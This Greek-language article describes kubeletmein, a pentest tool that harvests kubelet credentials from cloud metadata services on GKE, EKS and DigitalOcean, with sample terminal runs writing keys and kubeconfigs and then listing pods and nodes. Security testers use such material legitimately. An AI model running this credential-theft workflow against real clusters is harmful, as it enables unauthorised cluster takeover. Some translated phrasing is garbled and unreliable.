Το kubeletmein είναι ένα απλό pentest εργαλείο που εκμεταλλεύεται τις απειλές του cloud σε ένα σύμπλεγμα από Kubernetes, προκειμένου να αποκτήσει πρόσβαση στο API k8s.
Αυτή η πρόσβαση μπορεί να χρησιμοποιηθεί για περαιτέρω έλεγχο των εφαρμογών που εκτελούνται στο cloud ή σε πολλές άλλες περιπτώσεις, που διευκολύνουν τον πλήρη έλεγχο των Kubernetes.
Table of Contents
Υποστηριζόμενοι πάροχοι και χρήση
GKE
Το GKE ( Google Kubernetes Engine) υποστηρίζεται πλήρως και βασίζεται στην απενεργοποίηση όλων των κρυφών metadata.
root@kubeletmein-vulnerable:/# kubeletmein generate 2021-03-04T22:25:52Z [ℹ] fetching kubelet creds from metadata service 2021-03-04T22:25:52Z [ℹ] writing ca cert to: ca-certificates.crt 2021-03-04T22:25:52Z [ℹ] writing kubelet cert to: kubelet.crt 2021-03-04T22:25:52Z [ℹ] writing kubelet key to: kubelet.key 2021-03-04T22:25:52Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig 2021-03-04T22:25:52Z [ℹ] wrote bootstrap-kubeconfig 2021-03-04T22:25:52Z [ℹ] using bootstrap-config to request new cert for node: kubeletmein-node 2021-03-04T22:25:53Z [ℹ] got new cert and wrote kubeconfig 2021-03-04T22:25:53Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods NAME READY STATUS RESTARTS AGE kubeletmein-vulnerable 1/1 Running 0 12m root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get nodes NAME STATUS ROLES AGE VERSION gke-kubeletmein-kubeletmein-vulnerabl-6623dbee-mgkd Ready <none> 11m v1.18.12-gke.1210
EKS
Η υποστήριξη για το Amazon Elastic Kubernetes Service προστέθηκε αρχικά από τον @airman604 με βάση το script εκκίνησης AWS EKS. Αυτό επεκτάθηκε για να παρέχει υποστήριξη για διάφορους τύπους δεδομένων του χρήστη, που συναντώνται στο EKS.
Συγκεκριμένα, θα υποστηρίζει μορφές cloud-config και shell script. Στην τελευταία περίπτωση το πρόγραμμα, προσπαθεί να αναλύσει τα ορίσματα της γραμμής εντολών /etc/eks/bootstrap.sh και να ανακτήσει τις τιμές που χρειάζεται από εκεί.
~ $ kubeletmein generate 2021-03-02T21:37:59Z [ℹ] running autodetect 2021-03-02T21:37:59Z [ℹ] EKS detected 2021-03-02T21:37:59Z [ℹ] fetching cluster information from user-data from the metadata service 2021-03-02T21:37:59Z [ℹ] getting IMDSv2 token 2021-03-02T21:37:59Z [ℹ] getting user-data 2021-03-02T21:37:59Z [ℹ] generating EKS node kubeconfig file at: kubeconfig 2021-03-02T21:37:59Z [ℹ] wrote kubeconfig 2021-03-02T21:37:59Z [ℹ] then try: kubectl --kubeconfig kubeconfig get pods
Digital Ocean
Υποστηρίζεται από προεπιλογή, η DO παρέχει creds από metadata και αυτό δεν μπορεί να απενεργοποιηθεί.
root@kubeletmein-vulnerable:/# kubeletmein generate 2021-03-04T23:39:46Z [ℹ] running autodetect 2021-03-04T23:39:46Z [ℹ] DigitalOcean detected 2021-03-04T23:39:46Z [ℹ] fetching kubelet creds from metadata service 2021-03-04T23:39:46Z [ℹ] writing ca cert to: ca-certificates.crt 2021-03-04T23:39:46Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig 2021-03-04T23:39:46Z [ℹ] wrote bootstrap-kubeconfig 2021-03-04T23:39:46Z [ℹ] using bootstrap-config to request new cert for node: kubeletmein-node 2021-03-04T23:39:46Z [ℹ] got new cert and wrote kubeconfig 2021-03-04T23:39:46Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods NAME READY STATUS RESTARTS AGE kubeletmein-vulnerable 1/1 Running 0 6m12s
Μπορείτε να κατεβάσετε το πρόγραμμα από εδώ.